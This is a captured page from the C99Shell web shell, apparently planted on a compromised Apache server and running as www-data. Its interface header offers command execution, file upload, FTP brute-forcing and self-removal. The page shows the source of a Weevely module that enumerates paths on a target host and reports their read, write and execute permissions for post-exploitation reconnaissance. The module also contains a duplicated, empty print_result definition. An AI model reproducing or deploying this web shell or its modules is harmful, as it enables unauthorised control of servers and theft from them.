!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/modules/file/   drwxr-xr-x
Free 13.15 GB of 57.97 GB (22.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     enum.py (2.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
from weevely.core import messages
from weevely.core.loggers import log
from weevely.core.module import Module
from weevely.core.vectors import ModuleExec


class Enum(Module):
    """Check existence and permissions of a list of paths."""

    def init(self):
        self.register_info({"author": ["Emilio Pinna"], "license": "GPLv3"})

        self.register_arguments(
            [
                {"name": "paths", "help": "One or more paths", "nargs": "*"},
                {"name": "-lpath-list", "help": "The local file containing the list of paths"},
                {"name": "-print", "help": "Print the paths not found too", "action": "store_true", "default": False},
            ]
        )

    def run(self, **kwargs):
        paths = []

        lpath = self.args.get("lpath_list")
        if lpath:
            try:
                with open(lpath) as lfile:
                    paths = lfile.read().split("\n")
            except Exception as e:
                log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e)))
                return None

        paths += self.args.get("paths") if self.args.get("paths") else []

        results = {}

        for path in paths:
            result = ModuleExec("file_check", [path, "perms"]).run()
            if result or self.args.get("print"):
                results[path] = result

        return results

    def print_result(self, result):
        if not result:
            return

    def print_result(self, result):
        if not result:
            return None

        result_verbose = {}

        for path, perms in result.items():
            if len(perms) == 1 and perms[0] == "e":
                result_verbose[path] = "exists"
            else:
                verbose_string = " ".join(
                    [
                        "writable" if "w" in perms else "",
                        "readable" if "r" in perms else "",
                        "executable" if "x" in perms else "",
                    ]
                )

                # Re split to delete multiple whitespaces
                result_verbose[path] = " ".join(verbose_string.strip().split())

        return Module.print_result(self, result_verbose)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--